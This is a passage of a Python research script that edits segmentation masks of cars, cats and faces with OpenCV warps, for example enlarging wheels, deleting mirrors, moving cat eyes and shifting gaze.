new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
kernel = np.ones((5, 5), np.uint8)
roi = cv2.dilate(np.float32(roi), kernel, iterations=2).astype(np.uint8)
roi = (roi > 0)
new_mask[roi] = 0
all_roi += roi
ref_mask = copy.deepcopy(source_mask)
# new_mask[ (ref_mask ==16)] = 16
new_mask[(ref_mask == 31)] = 31
return new_mask, (all_roi > 0)
def rotate_spoke(source_mask):
spoke_ids = car_semantic_ids['spoke']
ids = [27]
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 25
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), -50, 1)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
ids = [26]
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 24
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), -30, 1)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in spoke_ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def delete_licnse_plate(source_mask):
ids = car_semantic_ids['licenseplate']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 2
all_roi += roi
return new_mask, (all_roi > 0)
def delete_mirror(source_mask):
ids = car_semantic_ids['mirror']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 30
all_roi += roi
return new_mask, (all_roi > 0)
def enlarge_mirror(source_mask, scale):
ids = car_semantic_ids['mirror']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
roi += (ref_mask == ids[0])
new_mask[roi > 0] = 30
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[ref_mask == ids[0]] = ids[0]
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def delete_handle(source_mask):
ids = car_semantic_ids['handle']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, 400:] = 1
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask * half_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 6
all_roi += roi
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, :400] = 1
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask * half_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 8
all_roi += roi
return new_mask, (all_roi > 0)
def enlarge_handle(source_mask, scale):
ids = car_semantic_ids['handle']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
roi += (ref_mask == ids[0])
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[ref_mask == ids[0]] = ids[0]
all_roi += roi
ref_mask = copy.deepcopy(source_mask)
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
roi += (ref_mask == ids[1])
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[ref_mask == ids[1]] = ids[1]
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def enlarge_frontlight(source_mask, scale):
ids = car_semantic_ids['frontlight']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, 100:] = 1
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask * half_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, :100] = 1
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask * half_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def enlarge_frontwheel(source_mask, scale):
ids = car_semantic_ids['frontwheel']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, 300:] = 1
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask * half_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, :300] = 1
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask * half_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def enlarge_wheel(source_mask, scale):
ids = car_semantic_ids['wheel']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, 300:] = 1
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask * half_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, :300] = 1
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask * half_mask
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (ref_mask == id)
roi = (roi > 0)
new_mask[roi] = 0
ref_mask = ref_mask * roi
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[ref_mask == id] = id
all_roi += roi
roi = np.zeros((ref_mask.shape[0], ref_mask.shape[1]))
for id in ids:
roi += (new_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def change_front_light_shape(source_mask):
seg_rgb = np.array(PIL.Image.open("./data/edit_images/8.png").convert('RGB'))
new_mask = color_mask_to_seg(seg_rgb).astype(np.long)
roi = source_mask - new_mask
roi = (roi != 0) + (new_mask == 4) + (new_mask == 5)
return new_mask, (roi > 0)
################################ Cat ################################
# ['background',
# 'cat',
# 'back',
# 'belly',
# 'chest',
# 'leg',
# 'paw',
# 'head',
# 'ear',
# 'eye',
# 'mouth',
# 'tongue',
# 'nose',
# 'tail',
# 'whiskers']
cat_semantic_ids = {"ear": [8], "eyes": [9], "eye": [9], "nose": [12], "mouth": [10, 11]}
def smaller_eyes(source_mask, scale):
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, int(new_mask.shape[1] / 2):] = 1
ref_mask = ref_mask * half_mask
roi = (ref_mask == 8)
roi = (roi > 0)
new_mask[roi > 0] = 0
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[(ref_mask == 8)] = 8
all_roi += roi
ref_mask = copy.deepcopy(source_mask)
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, :int(new_mask.shape[1] / 2)] = 1
ref_mask = ref_mask * half_mask
roi = (ref_mask == 9)
roi = (roi > 0)
new_mask[roi > 0] = 7
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[(ref_mask == 9)] = 9
roi = (new_mask == 9)
all_roi += roi
all_roi = (all_roi > 0)
roi = all_roi
return new_mask.astype(np.long), (roi > 0)
def move_cat_eyes(source_mask):
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, int(new_mask.shape[0] / 2):] = 1
ref_mask = copy.deepcopy(source_mask) * half_mask
roi = (ref_mask == 9)
roi = (roi > 0)
new_mask[roi > 0] = 7
ref_mask = ref_mask * roi
all_roi += roi
bbox = mask_to_bbox(roi)
A = np.float32([[1, 0, (bbox[2] - bbox[0]) / 2], [0, 1, 0]])
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[(ref_mask == 9)] = 9
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, :int(new_mask.shape[0] / 2)] = 1
ref_mask = copy.deepcopy(source_mask) * half_mask
roi = (ref_mask == 9)
roi = (roi > 0)
new_mask[roi > 0] = 7
ref_mask = ref_mask * roi
all_roi += roi
bbox = mask_to_bbox(roi)
A = np.float32([[1, 0, -(bbox[2] - bbox[0]) / 2], [0, 1, 0]])
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[(ref_mask == 9)] = 9
all_roi += (new_mask == 9)
return new_mask, (all_roi > 0)
def delete_cat_ear(source_mask):
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = (ref_mask == 8)
roi = (roi > 0)
new_mask[roi > 0] = 0
all_roi += roi
return new_mask, (all_roi > 0)
def copy_cat_mouth(source_mask, target_mask):
h, w = source_mask.shape[:2]
new_mask = copy.deepcopy(source_mask)
ids = cat_semantic_ids["mouth"]
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 7
ref_mask = copy.deepcopy(target_mask)
roi = copy.deepcopy(target_mask * 0.)
for id in ids:
roi += (ref_mask == id)
ref_mask = ref_mask * roi
bbox_org = mask_to_bbox(delete)
bbox_ref = mask_to_bbox(roi)
ratio = ((bbox_ref[2] - bbox_ref[0])) / float((bbox_org[2] - bbox_org[0]))
A = cv2.getRotationMatrix2D(((bbox_ref[0] + bbox_ref[2]) / 2, (bbox_ref[3] + bbox_ref[1]) / 2), 0, 1.1 / ratio)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
center_org = [(bbox_org[2] + bbox_org[0]) / 2., (bbox_org[1] + bbox_org[3]) / 2.]
center_ref = [(bbox_ref[2] + bbox_ref[0]) / 2., (bbox_ref[1] + bbox_ref[3]) / 2.]
A = np.float32([[1, 0, center_org[0] - center_ref[0]], [0, 1, center_org[1] - center_ref[1]]])
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
A = cv2.getRotationMatrix2D(((bbox_org[0] + bbox_org[2]) / 2, (bbox_org[3] + bbox_org[1]) / 2), 0, 1.5)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
roi = copy.deepcopy(target_mask * 0.)
for id in ids:
roi += (ref_mask == id)
roi = (delete + roi) > 0
for id in ids:
new_mask[(ref_mask == id)] = id
return new_mask, roi
def enlarge_cat_mouth(source_mask, scale):
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask
roi = (ref_mask == 10)
roi = (roi > 0)
new_mask[roi > 0] = 7
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[(ref_mask == 10)] = 10
all_roi += roi
roi = (new_mask == 10)
all_roi += roi
return new_mask, (all_roi > 0)
def enlarge_cat_nose(source_mask, scale):
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
ref_mask = ref_mask
roi = (ref_mask == 12)
roi = (roi > 0)
new_mask[roi > 0] = 7
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[(ref_mask == 12)] = 12
all_roi += roi
roi = (new_mask == 10)
all_roi += roi
return new_mask, (all_roi > 0)
def enlarge_cat_eyes(source_mask, scale):
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, int(new_mask.shape[1] / 2):] = 1
ref_mask = ref_mask * half_mask
roi = (ref_mask == 9)
roi = (roi > 0)
new_mask[roi > 0] = 7
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[(ref_mask == 9)] = 9
all_roi += roi
ref_mask = copy.deepcopy(source_mask)
half_mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
half_mask[:, :int(new_mask.shape[1] / 2)] = 1
ref_mask = ref_mask * half_mask
roi = (ref_mask == 9)
roi = (roi > 0)
new_mask[roi > 0] = 7
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[(ref_mask == 9)] = 9
roi = (new_mask == 9)
all_roi += roi
all_roi = (all_roi > 0)
roi = all_roi
return new_mask, roi
################################ Face ################################
semantic_ids = {"changeNose": [26, 27, 28, 29, 30],
"wideNose": [26, 27, 28, 29, 30],
"gaze": [9, 10, 39, 40],
"eyebrow": [14],
"eyebrowboth": [14, 44],
"smileWrinkle": [33],
"wrinkle": [33],
"pred": [21, 22, 23, 24],
"mustache": [20],
"eyes": [7, 8, 9, 10, 11, 12, 13,
37, 38, 39, 40, 41, 42, 43],
"oneEye": [7, 8, 9, 10, 11, 12, 13],
"smile": [21, 22, 23, 24],
"openMouth": [21, 22, 23, 24],
"iris": [10, 40],
"hair": [17]
}
def shrink_eyebrow(source_mask, scale):
ids = semantic_ids['eyebrowboth']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = copy.deepcopy(ref_mask * 0.)
roi += (ref_mask == ids[0])
ref_mask = ref_mask * roi
roi = (roi > 0)
new_mask[roi > 0] = 1
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[(ref_mask == id)] = id
all_roi += roi
ref_mask = copy.deepcopy(source_mask)
roi = copy.deepcopy(ref_mask * 0.)
roi += (ref_mask == ids[1])
ref_mask = ref_mask * roi
new_mask[roi > 0] = 1
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[(ref_mask == id)] = id
all_roi += roi
roi = copy.deepcopy(ref_mask * 0.)
for id in ids:
roi += (ref_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def enlarge_iris(source_mask, scale):
ids = semantic_ids['iris']
new_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
h, w = new_mask.shape[:2]
ref_mask = copy.deepcopy(source_mask)
roi = copy.deepcopy(ref_mask * 0.)
roi += (ref_mask == ids[0])
ref_mask = ref_mask * roi
roi = (roi > 0)
new_mask[roi > 0] = ids[0] - 1
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[(ref_mask == id)] = id
all_roi += roi
ref_mask = copy.deepcopy(source_mask)
roi = copy.deepcopy(ref_mask * 0.)
roi += (ref_mask == ids[1])
ref_mask = ref_mask * roi
new_mask[roi > 0] = ids[1] - 1
bbox = mask_to_bbox(roi)
A = cv2.getRotationMatrix2D(((bbox[0] + bbox[2]) / 2, (bbox[3] + bbox[1]) / 2), 0, scale)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
for id in ids:
new_mask[(ref_mask == id)] = id
all_roi += roi
roi = copy.deepcopy(ref_mask * 0.)
for id in ids:
roi += (ref_mask == id)
all_roi += roi
return new_mask, (all_roi > 0)
def copy_mouth(source_mask, target_mask):
h, w = source_mask.shape[:2]
new_mask = copy.deepcopy(source_mask)
ids = semantic_ids["smile"]
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 1
ref_mask = copy.deepcopy(target_mask)
roi = copy.deepcopy(target_mask * 0.)
for id in ids:
roi += (ref_mask == id)
ref_mask = ref_mask * roi
bbox_org = mask_to_bbox(delete)
bbox_ref = mask_to_bbox(roi)
ratio = ((bbox_ref[2] - bbox_ref[0])) / float((bbox_org[2] - bbox_org[0]))
A = cv2.getRotationMatrix2D(((bbox_ref[0] + bbox_ref[2]) / 2, (bbox_ref[3] + bbox_ref[1]) / 2), 0, 1.1 / ratio)
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
center_org = [(bbox_org[2] + bbox_org[0]) / 2., (bbox_org[1] + bbox_org[3]) / 2.]
center_ref = [(bbox_ref[2] + bbox_ref[0]) / 2., (bbox_ref[1] + bbox_ref[3]) / 2.]
A = np.float32([[1, 0, center_org[0] - center_ref[0]], [0, 1, center_org[1] - center_ref[1]]])
ref_mask = cv2.warpAffine(ref_mask.astype(np.uint8), A, (w, h), borderValue=0)
roi = copy.deepcopy(target_mask * 0.)
for id in ids:
roi += (ref_mask == id)
roi = (delete + roi) > 0
for id in ids:
new_mask[(ref_mask == id)] = id
return new_mask, roi
def paste_nose(source_mask, target_mask):
new_mask = copy.deepcopy(source_mask)
ids = semantic_ids["change_nose"]
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 1
ref_mask = copy.deepcopy(target_mask)
roi = copy.deepcopy(target_mask * 0.)
for id in ids:
roi += (ref_mask == id)
roi = (delete + roi) > 0
for id in ids:
new_mask[(ref_mask == id)] = id
return new_mask, roi
def wide_nose(source_mask, factor):
h, w = source_mask.shape[:2]
new_mask = copy.deepcopy(source_mask)
ids = semantic_ids["change_nose"]
delete = copy.deepcopy(source_mask * 0.)
for id in ids:
delete += (new_mask == id)
delete = (delete > 0)
delete = delete.astype(np.uint8)
new_mask[delete > 0] = 1
target_mask = copy.deepcopy(source_mask)
target_mask[delete == 0] = 0
target_mask_res = cv2.resize(target_mask, (int(factor * w), h), interpolation=cv2.INTER_NEAREST)
target_mask_res = target_mask_res[:,
int(target_mask_res.shape[1] / 2 - w / 2): int(target_mask_res.shape[1] / 2 + w / 2)]
roi = copy.deepcopy(target_mask * 0.)
for id in ids:
roi += (target_mask_res == id)
roi = (delete + roi) > 0
for id in ids:
new_mask[(target_mask_res == id)] = id
return new_mask, roi
def gaze_position(source_mask):
h, w = source_mask.shape[:2]
new_mask = copy.deepcopy(source_mask)
target_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
roi = (target_mask == 9) + (target_mask == 10)
roi = (roi > 0)
all_roi += roi
new_mask[roi > 0] = 11
target_mask[roi == 0] = 0
bbox = mask_to_bbox(roi)
A = np.float32([[1, 0, (bbox[2] - bbox[0]) / 2], [0, 1, 0]])
target_mask = cv2.warpAffine(target_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[target_mask == 9] = 9
new_mask[target_mask == 10] = 10
target_mask = copy.deepcopy(source_mask)
roi = (target_mask == 39) + (target_mask == 40)
roi = (roi > 0)
all_roi += roi
new_mask[roi > 0] = 41
target_mask[roi == 0] = 0
bbox = mask_to_bbox(roi)
A = np.float32([[1, 0, (bbox[2] - bbox[0]) / 2], [0, 1, 0]])
target_mask = cv2.warpAffine(target_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[target_mask == 39] = 39
new_mask[target_mask == 40] = 40
roi = (new_mask == 9) + (new_mask == 10) + (new_mask == 39) + (new_mask == 40)
all_roi += roi
all_roi = (all_roi > 0)
return new_mask, all_roi
def gaze_position_2(source_mask):
h, w = source_mask.shape[:2]
new_mask = copy.deepcopy(source_mask)
mask = np.zeros((new_mask.shape[0], new_mask.shape[1]))
ids = [9, 10, 11, 39, 40, 41]
for id in ids:
mask[(new_mask == id)] = 1
target_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
roi = (target_mask == 9) + (target_mask == 10)
roi = (roi > 0)
all_roi += roi
new_mask[roi > 0] = 11
target_mask[roi == 0] = 0
bbox = mask_to_bbox(roi)
A = np.float32([[1, 0, 0], [0, 1, (bbox[3] - bbox[1]) / 2]])
target_mask = cv2.warpAffine(target_mask.astype(np.uint8), A, (w, h), borderValue=0) * mask
new_mask[target_mask == 9] = 9
new_mask[target_mask == 10] = 10
target_mask = copy.deepcopy(source_mask)
roi = (target_mask == 39) + (target_mask == 40)
roi = (roi > 0)
all_roi += roi
new_mask[roi > 0] = 41
target_mask[roi == 0] = 0
bbox = mask_to_bbox(roi)
A = np.float32([[1, 0, 0], [0, 1, (bbox[3] - bbox[1]) / 2]])
target_mask = cv2.warpAffine(target_mask.astype(np.uint8), A, (w, h), borderValue=0) * mask
new_mask[target_mask == 39] = 39
new_mask[target_mask == 40] = 40
roi = (new_mask == 9) + (new_mask == 10) + (new_mask == 39) + (new_mask == 40)
all_roi += roi
all_roi = (all_roi > 0)
return new_mask, all_roi
def gaze_position_3(source_mask):
h, w = source_mask.shape[:2]
new_mask = copy.deepcopy(source_mask)
target_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
roi = (target_mask == 9) + (target_mask == 10)
roi = (roi > 0)
all_roi += roi
new_mask[roi > 0] = 11
target_mask[roi == 0] = 0
bbox = mask_to_bbox(roi)
A = np.float32([[1, 0, - (bbox[2] - bbox[0]) / 2], [0, 1, 0]])
target_mask = cv2.warpAffine(target_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[target_mask == 9] = 9
new_mask[target_mask == 10] = 10
target_mask = copy.deepcopy(source_mask)
roi = (target_mask == 39) + (target_mask == 40)
roi = (roi > 0)
all_roi += roi
new_mask[roi > 0] = 41
target_mask[roi == 0] = 0
bbox = mask_to_bbox(roi)
A = np.float32([[1, 0, (bbox[2] - bbox[0]) / 2], [0, 1, 0]])
target_mask = cv2.warpAffine(target_mask.astype(np.uint8), A, (w, h), borderValue=0)
new_mask[target_mask == 39] = 39
new_mask[target_mask == 40] = 40
roi = (new_mask == 9) + (new_mask == 10) + (new_mask == 39) + (new_mask == 40)
all_roi += roi
all_roi = (all_roi > 0)
return new_mask, all_roi
def rise_both_eyebrow(source_mask):
ids = semantic_ids['eyebrowboth']
h, w = source_mask.shape[:2]
new_mask = copy.deepcopy(source_mask)
target_mask = copy.deepcopy(source_mask)
all_roi = np.zeros((new_mask.shape[0], new_mask.shape[1]))
